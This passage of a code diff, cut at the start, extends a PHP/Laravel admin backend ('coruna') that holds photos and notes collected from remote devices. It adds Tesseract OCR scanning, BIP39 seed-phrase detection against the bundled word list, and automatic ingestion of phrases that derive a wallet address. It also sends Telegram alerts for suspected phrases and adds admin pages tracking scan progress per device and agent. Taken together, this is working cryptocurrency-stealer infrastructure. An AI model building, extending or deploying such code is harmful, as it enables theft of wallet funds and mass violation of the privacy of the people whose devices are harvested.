MnemonicScanStatus::PENDING); + $counts[$status] = ((int) ($counts[$status] ?? 0)) + 1; + } + + return $this->progressFromCounts($counts); + } + + $itemTotal = 0; + Note::query()->orderByDesc('id')->get(['id', 'device_id', 'content'])->groupBy('device_id')->each(function ($rows) use (&$itemTotal) { + $note = $rows->first(); + $itemTotal += count(NoteContent::normalizeStored($note->content)); + }); + $scannedRows = NoteScan::query()->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all(); + $progress = $this->progressFromCounts($scannedRows); + $progress['total'] = $itemTotal; + $progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']); + + return $progress; + } + + /** + * @param array $counts + * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int} + */ + private function progressFromCounts(array $counts): array + { + $pending = (int) ($counts[MnemonicScanStatus::PENDING] ?? 0); + $empty = (int) ($counts[MnemonicScanStatus::EMPTY] ?? 0); + $suspected = (int) ($counts[MnemonicScanStatus::SUSPECTED] ?? 0); + $confirmed = (int) ($counts[MnemonicScanStatus::CONFIRMED] ?? 0); + $failed = (int) ($counts[MnemonicScanStatus::FAILED] ?? 0); + + return [ + 'total' => $pending + $empty + $suspected + $confirmed + $failed, + 'scanned' => $empty + $suspected + $confirmed, + 'suspected' => $suspected, + 'confirmed' => $confirmed, + 'failed' => $failed, + 'pending' => $pending, + ]; + } + + private function markPhoto(Photo $photo, int $status, string $text): void + { + $photo->scan_status = $status; + $photo->scanned_at = now(); + $photo->ocr_text = mb_substr($text, 0, 8000); + $photo->save(); + } + + private function applyTextHit( + ?Device $device, + string $source, + string $text, + ?Photo $photo, + ?Note $note, + ?string $itemKey, + ): void { + if ($device === null) { + return; + } + $q = MnemonicFinding::query()->where('device_id', $device->id)->where('source', $source); + if ($photo !== null) { + $q->where('photo_id', $photo->id); + } else { + $q->where('note_id', $note?->id)->where('item_key', $itemKey); + } + + $hit = $this->detector->detect($text, $source === MnemonicFinding::SOURCE_NOTE); + if ($hit === null || ! $this->worthRecording($source, $hit)) { + $q->where('status', '!=', MnemonicFinding::STATUS_CONFIRMED)->delete(); + + return; + } + + $row = $q->first() ?? new MnemonicFinding([ + 'device_id' => $device->id, + 'source' => $source, + 'photo_id' => $photo?->id, + 'note_id' => $note?->id, + 'item_key' => $itemKey, + ]); + if ($row->status === MnemonicFinding::STATUS_CONFIRMED) { + return; + } + $wasNew = ! $row->exists; + $prevCandidate = $row->exists ? $row->candidate : ''; + $confirmed = $this->canIngestHit($hit); + $row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED; + $row->candidate = $hit['candidate']; + $row->excerpt = mb_substr($text, 0, 2000); + $row->word_count = $hit['word_count']; + $row->score = $hit['score']; + if ($confirmed) { + $row->reviewed_by = 'scan'; + $row->reviewed_at = now(); + } + $row->save(); + + $sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO + ? WalletSource::fromTag('album_ocr') + : WalletSource::fromTag('note_scan'); + if ($confirmed) { + $this->ingest->ingestMnemonic($device, [ + 'mnemonic' => $hit['candidate'], + 'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', + ]); + + return; + } + if ($wasNew || $prevCandidate !== $hit['candidate']) { + $this->telegram->notifySuspectedMnemonic( + $device->device_id, + $sourceLabel, + $hit['candidate'], + (int) $hit['word_count'], + ); + } + } + + /** + * Album and notes both need 12+ consecutive words that can derive an address. + * + * @param array{candidate: string, word_count: int, confirmed?: bool} $hit + */ + private function canIngestHit(array $hit): bool + { + if (empty($hit['confirmed']) || (int) $hit['word_count'] < 12) { + return false; + } + + return Bip44::isUsableMnemonic((string) $hit['candidate']); + } + + /** + * Notes: only a derivable 12-word phrase. Photos: 12-word run or >=8 hits. + * + * @param array{candidate: string, word_count: int, confirmed?: bool} $hit + */ + private function worthRecording(string $source, array $hit): bool + { + if ($this->canIngestHit($hit)) { + return true; + } + if ($source === MnemonicFinding::SOURCE_NOTE) { + return false; + } + if (! empty($hit['confirmed'])) { + return true; + } + + return (int) $hit['word_count'] >= MnemonicDetector::MIN_SUSPECTED + && $this->detector->uniqueListWords((string) $hit['candidate']) >= MnemonicDetector::MIN_UNIQUE; + } + + private function photoStatus(Photo $photo): int + { + $status = MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'); + + return match ($status) { + MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED, + MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED, + default => MnemonicScanStatus::EMPTY, + }; + } + + private function noteStatus(Note $note, string $itemKey): int + { + $status = MnemonicFinding::query() + ->where('note_id', $note->id) + ->where('item_key', $itemKey) + ->value('status'); + + return match ($status) { + MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED, + MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED, + default => MnemonicScanStatus::EMPTY, + }; + } +} diff --git a/app/Services/MnemonicScanStatus.php b/app/Services/MnemonicScanStatus.php new file mode 100644 index 0000000..e1aa6c7 --- /dev/null +++ b/app/Services/MnemonicScanStatus.php @@ -0,0 +1,27 @@ + '已扫', + self::SUSPECTED => '疑似', + self::CONFIRMED => '确定含有', + self::FAILED => '失败', + default => '未扫', + }; + } +} diff --git a/app/Services/Ocr/OcrDriver.php b/app/Services/Ocr/OcrDriver.php new file mode 100644 index 0000000..ed5cdee --- /dev/null +++ b/app/Services/Ocr/OcrDriver.php @@ -0,0 +1,8 @@ +path((string) $photo->path); + if (! is_file($abs)) { + return null; + } + + $payload = $this->preview->payload($abs, (string) ($photo->device?->device_id ?: $photo->device_id), (string) $photo->sha256); + $bytes = (string) ($payload['bytes'] ?? ''); + if ($bytes === '') { + return null; + } + + $tmp = tempnam(sys_get_temp_dir(), 'ocr_'); + if ($tmp === false) { + return null; + } + $jpeg = $tmp.'.jpg'; + @unlink($tmp); + file_put_contents($jpeg, $bytes); + $this->resize($jpeg); + + return $jpeg; + } + + private function resize(string $path): void + { + $max = (int) config('coruna.ocr.max_edge', 1800); + if ($max < 400) { + return; + } + $magick = $this->which('magick') ?? $this->which('convert'); + if ($magick !== null) { + Process::timeout(30)->run([$magick, $path, '-resize', $max.'x'.$max.'>', $path]); + + return; + } + if (PHP_OS_FAMILY === 'Darwin' && is_executable('/usr/bin/sips')) { + Process::timeout(30)->run(['/usr/bin/sips', '-Z', (string) $max, $path]); + } + } + + private function which(string $bin): ?string + { + $result = Process::timeout(3)->run(['which', $bin]); + $path = trim($result->output()); + + return $result->successful() && $path !== '' ? $path : null; + } +} diff --git a/app/Services/Ocr/TesseractOcrDriver.php b/app/Services/Ocr/TesseractOcrDriver.php new file mode 100644 index 0000000..f438290 --- /dev/null +++ b/app/Services/Ocr/TesseractOcrDriver.php @@ -0,0 +1,37 @@ +run([ + $bin, + $imagePath, + 'stdout', + '-l', $langs, + '--psm', '6', + ]); + + if (! $result->successful()) { + Log::channel('stack')->warning('tesseract ocr failed', [ + 'path' => $imagePath, + 'error' => mb_substr($result->errorOutput() ?: $result->output(), 0, 500), + ]); + + return ''; + } + + return trim($result->output()); + } +} diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 828ceb4..96b2271 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -113,6 +113,12 @@ class TelegramNotifier { $chatIds = $this->resolveChatIds($deviceKey); if ($chatIds === []) { + Log::channel('telegram')->info('telegram send skipped: no chat IDs resolved', [ + 'device_key' => $deviceKey, + 'bot_token_set' => $this->botToken() !== '', + 'owner_chat_id' => trim((string) config('coruna.telegram.owner_chat_id', '')), + ]); + return false; } @@ -167,11 +173,11 @@ class TelegramNotifier if ($desc === '') { $desc = 'HTTP '.$resp->status(); } - Log::warning('telegram send failed: '.$desc, ['chat_id' => $chatId]); + Log::channel('telegram')->warning('telegram send failed: '.$desc, ['chat_id' => $chatId]); return ['ok' => false, 'error' => $desc]; } catch (\Throwable $e) { - Log::warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]); + Log::channel('telegram')->warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]); return ['ok' => false, 'error' => $e->getMessage()]; } @@ -316,6 +322,17 @@ class TelegramNotifier ]), $deviceId); } + public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void + { + $this->send(implode("\n", [ + '🔎 疑似助记词', + ...$this->deviceHeader($deviceId), + '🏷 来源: '.$this->e($source ?: '—'), + '🔢 命中词数: '.$this->e((string) $wordCount), + '📝 候选: '.$this->e(WalletMnemonic::maskSecret($phrase)).'', + ]), $deviceId); + } + public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void { $this->send(implode("\n", [ diff --git a/app/Support/WalletSource.php b/app/Support/WalletSource.php index 04f44e9..3b86ec2 100644 --- a/app/Support/WalletSource.php +++ b/app/Support/WalletSource.php @@ -39,6 +39,8 @@ final class WalletSource // lab / fixture aliases 'tp' => 'TokenPocket', 'im' => 'imToken', + 'album_ocr' => '相册', + 'note_scan' => '备忘录扫描', ]; /** diff --git a/config/coruna.php b/config/coruna.php index 2e4000a..39f51f7 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -12,6 +12,11 @@ $adminHosts = $parseDomains((string) env('CORUNA_ADMIN_HOSTS', '')); $agentHosts = $parseDomains((string) env('CORUNA_AGENT_HOSTS', '')); return [ + 'ocr' => [ + 'tesseract' => env('CORUNA_TESSERACT', 'tesseract'), + 'langs' => env('CORUNA_OCR_LANGS', 'eng+chi_sim'), + 'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 1800), + ], 'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0) 'xxbb' => [ // Hardcoded in xxbb type-0x01 / core; not the lab derived 7@Lb… key. diff --git a/database/migrations/2026_09_12_210000_add_mnemonic_scan_tables.php b/database/migrations/2026_09_12_210000_add_mnemonic_scan_tables.php new file mode 100644 index 0000000..3ac591c --- /dev/null +++ b/database/migrations/2026_09_12_210000_add_mnemonic_scan_tables.php @@ -0,0 +1,61 @@ +unsignedTinyInteger('scan_status')->default(0)->after('barcode_count'); + $table->timestamp('scanned_at')->nullable()->after('scan_status'); + $table->mediumText('ocr_text')->nullable()->after('scanned_at'); + $table->index(['scan_status', 'created_at']); + }); + + Schema::create('note_scans', function (Blueprint $table) { + $table->id(); + $table->unsignedBigInteger('device_id'); + $table->unsignedBigInteger('note_id'); + $table->string('item_key', 64); + $table->string('content_hash', 64); + $table->unsignedTinyInteger('scan_status')->default(0); + $table->timestamp('scanned_at')->nullable(); + $table->timestamps(); + $table->unique(['note_id', 'item_key']); + $table->index(['device_id', 'scan_status']); + }); + + Schema::create('mnemonic_findings', function (Blueprint $table) { + $table->id(); + $table->unsignedBigInteger('device_id'); + $table->string('source', 16); + $table->unsignedBigInteger('photo_id')->nullable(); + $table->unsignedBigInteger('note_id')->nullable(); + $table->string('item_key', 64)->nullable(); + $table->string('status', 16)->default('suspected'); + $table->text('candidate_enc'); + $table->text('excerpt')->nullable(); + $table->unsignedSmallInteger('word_count')->default(0); + $table->unsignedSmallInteger('score')->default(0); + $table->string('reviewed_by')->nullable(); + $table->timestamp('reviewed_at')->nullable(); + $table->timestamps(); + $table->index(['status', 'created_at']); + $table->index(['device_id', 'source']); + $table->index('photo_id'); + }); + } + + public function down(): void + { + Schema::dropIfExists('mnemonic_findings'); + Schema::dropIfExists('note_scans'); + Schema::table('photos', function (Blueprint $table) { + $table->dropIndex(['scan_status', 'created_at']); + $table->dropColumn(['scan_status', 'scanned_at', 'ocr_text']); + }); + } +}; diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index a6da13b..975272b 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -468,6 +468,17 @@ cd /www/wwwroot/coruna-lab 进程数量: 2 ``` +相册助记词 OCR 必须再加一条,**不要**和上面混跑(Tesseract 占满 1 核): + +```text +名称: coruna-ocr +启动命令: /www/server/php/82/bin/php artisan queue:work redis --queue=ocr --sleep=2 --tries=1 --timeout=120 --max-jobs=50 +启动目录: /www/wwwroot/coruna-lab +进程数量: 1 +``` + +机器上需安装 `tesseract` 及语言包 `eng` + `chi_sim`。`QUEUE_CONNECTION` 必须是 `redis`。 + 1. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议: ```ini diff --git a/resources/bip39/english.txt b/resources/bip39/english.txt new file mode 100644 index 0000000..942040e --- /dev/null +++ b/resources/bip39/english.txt @@ -0,0 +1,2048 @@ +abandon +ability +able +about +above +absent +absorb +abstract +absurd +abuse +access +accident +account +accuse +achieve +acid +acoustic +acquire +across +act +action +actor +actress +actual +adapt +add +addict +address +adjust +admit +adult +advance +advice +aerobic +affair +afford +afraid +again +age +agent +agree +ahead +aim +air +airport +aisle +alarm +album +alcohol +alert +alien +all +alley +allow +almost +alone +alpha +already +also +alter +always +amateur +amazing +among +amount +amused +analyst +anchor +ancient +anger +angle +angry +animal +ankle +announce +annual +another +answer +antenna +antique +anxiety +any +apart +apology +appear +apple +approve +april +arch +arctic +area +arena +argue +arm +armed +armor +army +around +arrange +arrest +arrive +arrow +art +artefact +artist +artwork +ask +aspect +assault +asset +assist +assume +asthma +athlete +atom +attack +attend +attitude +attract +auction +audit +august +aunt +author +auto +autumn +average +avocado +avoid +awake +aware +away +awesome +awful +awkward +axis +baby +bachelor +bacon +badge +bag +balance +balcony +ball +bamboo +banana +banner +bar +barely +bargain +barrel +base +basic +basket +battle +beach +bean +beauty +because +become +beef +before +begin +behave +behind +believe +below +belt +bench +benefit +best +betray +better +between +beyond +bicycle +bid +bike +bind +biology +bird +birth +bitter +black +blade +blame +blanket +blast +bleak +bless +blind +blood +blossom +blouse +blue +blur +blush +board +boat +body +boil +bomb +bone +bonus +book +boost +border +boring +borrow +boss +bottom +bounce +box +boy +bracket +brain +brand +brass +brave +bread +breeze +brick +bridge +brief +bright +bring +brisk +broccoli +broken +bronze +broom +brother +brown +brush +bubble +buddy +budget +buffalo +build +bulb +bulk +bullet +bundle +bunker +burden +burger +burst +bus +business +busy +butter +buyer +buzz +cabbage +cabin +cable +cactus +cage +cake +call +calm +camera +camp +can +canal +cancel +candy +cannon +canoe +canvas +canyon +capable +capital +captain +car +carbon +card +cargo +carpet +carry +cart +case +cash +casino +castle +casual +cat +catalog +catch +category +cattle +caught +cause +caution +cave +ceiling +celery +cement +census +century +cereal +certain +chair +chalk +champion +change +chaos +chapter +charge +chase +chat +cheap +check +cheese +chef +cherry +chest +chicken +chief +child +chimney +choice +choose +chronic +chuckle +chunk +churn +cigar +cinnamon +circle +citizen +city +civil +claim +clap +clarify +claw +clay +clean +clerk +clever +click +client +cliff +climb +clinic +clip +clock +clog +close +cloth +cloud +clown +club +clump +cluster +clutch +coach +coast +coconut +code +coffee +coil +coin +collect +color +column +combine +come +comfort +comic +common +company +concert +conduct +confirm +congress +connect +consider +control +convince +cook +cool +copper +copy +coral +core +corn +correct +cost +cotton +couch +country +couple +course +cousin +cover +coyote +crack +cradle +craft +cram +crane +crash +crater +crawl +crazy +cream +credit +creek +crew +cricket +crime +crisp +critic +crop +cross +crouch +crowd +crucial +cruel +cruise +crumble +crunch +crush +cry +crystal +cube +culture +cup +cupboard +curious +current +curtain +curve +cushion +custom +cute +cycle +dad +damage +damp +dance +danger +daring +dash +daughter +dawn +day +deal +debate +debris +decade +december +decide +decline +decorate +decrease +deer +defense +define +defy +degree +delay +deliver +demand +demise +denial +dentist +deny +depart +depend +deposit +depth +deputy +derive +describe +desert +design +desk +despair +destroy +detail +detect +develop +device +devote +diagram +dial +diamond +diary +dice +diesel +diet +differ +digital +dignity +dilemma +dinner +dinosaur +direct +dirt +disagree +discover +disease +dish +dismiss +disorder +display +distance +divert +divide +divorce +dizzy +doctor +document +dog +doll +dolphin +domain +donate +donkey +donor +door +dose +double +dove +draft +dragon +drama +drastic +draw +dream +dress +drift +drill +drink +drip +drive +drop +drum +dry +duck +dumb +dune +during +dust +dutch +duty +dwarf +dynamic +eager +eagle +early +earn +earth +easily +east +easy +echo +ecology +economy +edge +edit +educate +effort +egg +eight +either +elbow +elder +electric +elegant +element +elephant +elevator +elite +else +embark +embody +embrace +emerge +emotion +employ +empower +empty +enable +enact +end +endless +endorse +enemy +energy +enforce +engage +engine +enhance +enjoy +enlist +enough +enrich +enroll +ensure +enter +entire +entry +envelope +episode +equal +equip +era +erase +erode +erosion +error +erupt +escape +essay +essence +estate +eternal +ethics +evidence +evil +evoke +evolve +exact +example +excess +exchange +excite +exclude +excuse +execute +exercise +exhaust +exhibit +exile +exist +exit +exotic +expand +expect +expire +explain +expose +express +extend +extra +eye +eyebrow +fabric +face +faculty +fade +faint +faith +fall +false +fame +family +famous +fan +fancy +fantasy +farm +fashion +fat +fatal +father +fatigue +fault +favorite +feature +february +federal +fee +feed +feel +female +fence +festival +fetch +fever +few +fiber +fiction +field +figure +file +film +filter +final +find +fine +finger +finish +fire +firm +first +fiscal +fish +fit +fitness +fix +flag +flame +flash +flat +flavor +flee +flight +flip +float +flock +floor +flower +fluid +flush +fly +foam +focus +fog +foil +fold +follow +food +foot +force +forest +forget +fork +fortune +forum +forward +fossil +foster +found +fox +fragile +frame +frequent +fresh +friend +fringe +frog +front +frost +frown +frozen +fruit +fuel +fun +funny +furnace +fury +future +gadget +gain +galaxy +gallery +game +gap +garage +garbage +garden +garlic +garment +gas +gasp +gate +gather +gauge +gaze +general +genius +genre +gentle +genuine +gesture +ghost +giant +gift +giggle +ginger +giraffe +girl +give +glad +glance +glare +glass +glide +glimpse +globe +gloom +glory +glove +glow +glue +goat +goddess +gold +good +goose +gorilla +gospel +gossip +govern +gown +grab +grace +grain +grant +grape +grass +gravity +great +green +grid +grief +grit +grocery +group +grow +grunt +guard +guess +guide +guilt +guitar +gun +gym +habit +hair +half +hammer +hamster +hand +happy +harbor +hard +harsh +harvest +hat +have +hawk +hazard +head +health +heart +heavy +hedgehog +height +hello +helmet +help +hen +hero +hidden +high +hill +hint +hip +hire +history +hobby +hockey +hold +hole +holiday +hollow +home +honey +hood +hope +horn +horror +horse +hospital +host +hotel +hour +hover +hub +huge +human +humble +humor +hundred +hungry +hunt +hurdle +hurry +hurt +husband +hybrid +ice +icon +idea +identify +idle +ignore +ill +illegal +illness +image +imitate +immense +immune +impact +impose +improve +impulse +inch +include +income +increase +index +indicate +indoor +industry +infant +inflict +inform +inhale +inherit +initial +inject +injury +inmate +inner +innocent +input +inquiry +insane +insect +inside +inspire +install +intact +interest +into +invest +invite +involve +iron +island +isolate +issue +item +ivory +jacket +jaguar +jar +jazz +jealous +jeans +jelly +jewel +job +join +joke +journey +joy +judge +juice +jump +jungle +junior +junk +just +kangaroo +keen +keep +ketchup +key +kick +kid +kidney +kind +kingdom +kiss +kit +kitchen +kite +kitten +kiwi +knee +knife +knock +know +lab +label +labor +ladder +lady +lake +lamp +language +laptop +large +later +latin +laugh +laundry +lava +law +lawn +lawsuit +layer +lazy +leader +leaf +learn +leave +lecture +left +leg +legal +legend +leisure +lemon +lend +length +lens +leopard +lesson +letter +level +liar +liberty +library +license +life +lift +light +like +limb +limit +link +lion +liquid +list +little +live +lizard +load +loan +lobster +local +lock +logic +lonely +long +loop +lottery +loud +lounge +love +loyal +lucky +luggage +lumber +lunar +lunch +luxury +lyrics +machine +mad +magic +magnet +maid +mail +main +major +make +mammal +man +manage +mandate +mango +mansion +manual +maple +marble +march +margin +marine +market +marriage +mask +mass +master +match +material +math +matrix +matter +maximum +maze +meadow +mean +measure +meat +mechanic +medal +media +melody +melt +member +memory +mention +menu +mercy +merge +merit +merry +mesh +message +metal +method +middle +midnight +milk +million +mimic +mind +minimum +minor +minute +miracle +mirror +misery +miss +mistake +mix +mixed +mixture +mobile +model +modify +mom +moment +monitor +monkey +monster +month +moon +moral +more +morning +mosquito +mother +motion +motor +mountain +mouse +move +movie +much +muffin +mule +multiply +muscle +museum +mushroom +music +must +mutual +myself +mystery +myth +naive +name +napkin +narrow +nasty +nation +nature +near +neck +need +negative +neglect +neither +nephew +nerve +nest +net +network +neutral +never +news +next +nice +night +noble +noise +nominee +noodle +normal +north +nose +notable +note +nothing +notice +novel +now +nuclear +number +nurse +nut +oak +obey +object +oblige +obscure +observe +obtain +obvious +occur +ocean +october +odor +off +offer +office +often +oil +okay +old +olive +olympic +omit +once +one +onion +online +only +open +opera +opinion +oppose +option +orange +orbit +orchard +order +ordinary +organ +orient +original +orphan +ostrich +other +outdoor +outer +output +outside +oval +oven +over +own +owner +oxygen +oyster +ozone +pact +paddle +page +pair +palace +palm +panda +panel +panic +panther +paper +parade +parent +park +parrot +party +pass +patch +path +patient +patrol +pattern +pause +pave +payment +peace +peanut +pear +peasant +pelican +pen +penalty +pencil +people +pepper +perfect +permit +person +pet +phone +photo +phrase +physical +piano +picnic +picture +piece +pig +pigeon +pill +pilot +pink +pioneer +pipe +pistol +pitch +pizza +place +planet +plastic +plate +play +please +pledge +pluck +plug +plunge +poem +poet +point +polar +pole +police +pond +pony +pool +popular +portion +position +possible +post +potato +pottery +poverty +powder +power +practice +praise +predict +prefer +prepare +present +pretty +prevent +price +pride +primary +print +priority +prison +private +prize +problem +process +produce +profit +program +project +promote +proof +property +prosper +protect +proud +provide +public +pudding +pull +pulp +pulse +pumpkin +punch +pupil +puppy +purchase +purity +purpose +purse +push +put +puzzle +pyramid +quality +quantum +quarter +question +quick +quit +quiz +quote +rabbit +raccoon +race +rack +radar +radio +rail +rain +raise +rally +ramp +ranch +random +range +rapid +rare +rate +rather +raven +raw +razor +ready +real +reason +rebel +rebuild +recall +receive +recipe +record +recycle +reduce +reflect +reform +refuse +region +regret +regular +reject +relax +release +relief +rely +remain +remember +remind +remove +render +renew +rent +reopen +repair +repeat +replace +report +require +rescue +resemble +resist +resource +response +result +retire +retreat +return +reunion +reveal +review +reward +rhythm +rib +ribbon +rice +rich +ride +ridge +rifle +right +rigid +ring +riot +ripple +risk +ritual +rival +river +road +roast +robot +robust +rocket +romance +roof +rookie +room +rose +rotate +rough +round +route +royal +rubber +rude +rug +rule +run +runway +rural +sad +saddle +sadness +safe +sail +salad +salmon +salon +salt +salute +same +sample +sand +satisfy +satoshi +sauce +sausage +save +say +scale +scan +scare +scatter +scene +scheme +school +science +scissors +scorpion +scout +scrap +screen +script +scrub +sea +search +season +seat +second +secret +section +security +seed +seek +segment +select +sell +seminar +senior +sense +sentence +series +service +session +settle +setup +seven +shadow +shaft +shallow +share +shed +shell +sheriff +shield +shift +shine +ship +shiver +shock +shoe +shoot +shop +short +shoulder +shove +shrimp +shrug +shuffle +shy +sibling +sick +side +siege +sight +sign +silent +silk +silly +silver +similar +simple +since +sing +siren +sister +situate +six +size +skate +sketch +ski +skill +skin +skirt +skull +slab +slam +sleep +slender +slice +slide +slight +slim +slogan +slot +slow +slush +small +smart +smile +smoke +smooth +snack +snake +snap +sniff +snow +soap +soccer +social +sock +soda +soft +solar +soldier +solid +solution +solve +someone +song +soon +sorry +sort +soul +sound +soup +source +south +space +spare +spatial +spawn +speak +special +speed +spell +spend +sphere +spice +spider +spike +spin +spirit +split +spoil +sponsor +spoon +sport +spot +spray +spread +spring +spy +square +squeeze +squirrel +stable +stadium +staff +stage +stairs +stamp +stand +start +state +stay +steak +steel +stem +step +stereo +stick +still +sting +stock +stomach +stone +stool +story +stove +strategy +street +strike +strong +struggle +student +stuff +stumble +style +subject +submit +subway +success +such +sudden +suffer +sugar +suggest +suit +summer +sun +sunny +sunset +super +supply +supreme +sure +surface +surge +surprise +surround +survey +suspect +sustain +swallow +swamp +swap +swarm +swear +sweet +swift +swim +swing +switch +sword +symbol +symptom +syrup +system +table +tackle +tag +tail +talent +talk +tank +tape +target +task +taste +tattoo +taxi +teach +team +tell +ten +tenant +tennis +tent +term +test +text +thank +that +theme +then +theory +there +they +thing +this +thought +three +thrive +throw +thumb +thunder +ticket +tide +tiger +tilt +timber +time +tiny +tip +tired +tissue +title +toast +tobacco +today +toddler +toe +together +toilet +token +tomato +tomorrow +tone +tongue +tonight +tool +tooth +top +topic +topple +torch +tornado +tortoise +toss +total +tourist +toward +tower +town +toy +track +trade +traffic +tragic +train +transfer +trap +trash +travel +tray +treat +tree +trend +trial +tribe +trick +trigger +trim +trip +trophy +trouble +truck +true +truly +trumpet +trust +truth +try +tube +tuition +tumble +tuna +tunnel +turkey +turn +turtle +twelve +twenty +twice +twin +twist +two +type +typical +ugly +umbrella +unable +unaware +uncle +uncover +under +undo +unfair +unfold +unhappy +uniform +unique +unit +universe +unknown +unlock +until +unusual +unveil +update +upgrade +uphold +upon +upper +upset +urban +urge +usage +use +used +useful +useless +usual +utility +vacant +vacuum +vague +valid +valley +valve +van +vanish +vapor +various +vast +vault +vehicle +velvet +vendor +venture +venue +verb +verify +version +very +vessel +veteran +viable +vibrant +vicious +victory +video +view +village +vintage +violin +virtual +virus +visa +visit +visual +vital +vivid +vocal +voice +void +volcano +volume +vote +voyage +wage +wagon +wait +walk +wall +walnut +want +warfare +warm +warrior +wash +wasp +waste +water +wave +way +wealth +weapon +wear +weasel +weather +web +wedding +weekend +weird +welcome +west +wet +whale +what +wheat +wheel +when +where +whip +whisper +wide +width +wife +wild +will +win +window +wine +wing +wink +winner +winter +wire +wisdom +wise +wish +witness +wolf +woman +wonder +wood +wool +word +work +world +worry +worth +wrap +wreck +wrestle +wrist +write +wrong +yard +year +yellow +you +young +youth +zebra +zero +zone +zoo diff --git a/resources/views/admin/content.blade.php b/resources/views/admin/content.blade.php index 8d86115..068cf8c 100644 --- a/resources/views/admin/content.blade.php +++ b/resources/views/admin/content.blade.php @@ -24,6 +24,12 @@ .photo-card img{width:100%;height:120px;object-fit:cover;background:#eee} .photo-thumb{position:relative;display:inline-block} .photo-unread-dot{position:absolute;top:2px;right:2px;width:8px;height:8px;border-radius:50%;background:#ff5722} + .scan-badge{position:absolute;left:8px;top:8px;font-size:11px;line-height:16px;padding:0 5px;border-radius:2px;color:#fff;background:#909399} + .scan-badge-1{background:#16b777} + .scan-badge-2{background:#ff5722} + .scan-badge-3{background:#16b777} + .scan-badge-4{background:#c2c2c2} + .scan-progress{color:#666;font-size:13px;margin:0 0 10px} .note-card{background:#fff;border:1px solid #eee;border-radius:4px;padding:12px 14px;margin-bottom:10px} .note-card-title{font-weight:600;margin-bottom:8px;word-break:break-word;color:#333} .note-card-body{margin:0;white-space:pre-wrap;word-break:break-word;font-family:inherit;font-size:13px;line-height:1.55;color:#333} diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index d5ab416..67277cf 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -264,10 +264,12 @@ +
扫描进度:—
@elseif ($tab === 'notes') +
扫描进度:—
@@ -412,6 +414,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { }, function (res) { var $grid = $('#LAY-photo-grid').empty(); var list = (res && res.data) ? res.data : []; + if (res && res.scan) { + $('#LAY-photo-scan').text('相册扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定'); + } if (!list.length) { $('#LAY-photo-empty').show(); } else { @@ -421,6 +426,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { var card = $( '' + (Number(p.read) === 1 ? '' : '') + + '' + (p.scan_label || '未扫') + '' + '' + '
' + '
' + @@ -531,13 +537,16 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { }, function (res) { var $list = $('#LAY-note-cards').empty(); var items = (res && res.data) ? res.data : []; + if (res && res.scan) { + $('#LAY-note-scan').text('备忘录扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定'); + } if (!items.length) { $('#LAY-note-empty').show(); } else { $('#LAY-note-empty').hide(); items.forEach(function (it) { var $card = $('
'); - $card.append($('
').text(it.title || '无标题')); + $card.append($('
').text((it.scan_label ? ('[' + it.scan_label + '] ') : '') + (it.title || '无标题'))); $card.append($('
').text(it.body || ''));
             $list.append($card);
           });
diff --git a/resources/views/admin/findings/index.blade.php b/resources/views/admin/findings/index.blade.php
new file mode 100644
index 0000000..0ef2b16
--- /dev/null
+++ b/resources/views/admin/findings/index.blade.php
@@ -0,0 +1,192 @@
+@extends('admin.content')
+
+@section('title', '助记词扫描')
+
+@section('content')
+@php $portal = $portal ?? 'admin'; @endphp
+
+
+
扫描进度
+
+
+
+
相册
+ {{ $photoProgress['scanned'] ?? 0 }} / {{ $photoProgress['total'] ?? 0 }} +
已扫 / 总数 · 疑似 {{ $photoProgress['suspected'] ?? 0 }} · 确定 {{ $photoProgress['confirmed'] ?? 0 }}
+
+
+
备忘录
+ {{ $noteProgress['scanned'] ?? 0 }} / {{ $noteProgress['total'] ?? 0 }} +
已扫 / 总数 · 疑似 {{ $noteProgress['suspected'] ?? 0 }} · 确定 {{ $noteProgress['confirmed'] ?? 0 }}
+
+
+
+
+
+
+
+ @include('admin.partials.filter_channel_select') +
+ +
+ +
+
+ @include('admin.partials.filter_agent_select') +
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+
+
+
+
+ + +
+
+@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/admin/shell.blade.php b/resources/views/admin/shell.blade.php index f9294c3..0f8448c 100644 --- a/resources/views/admin/shell.blade.php +++ b/resources/views/admin/shell.blade.php @@ -107,6 +107,9 @@
备忘录
+
+ 助记词扫描 +
WS 参数
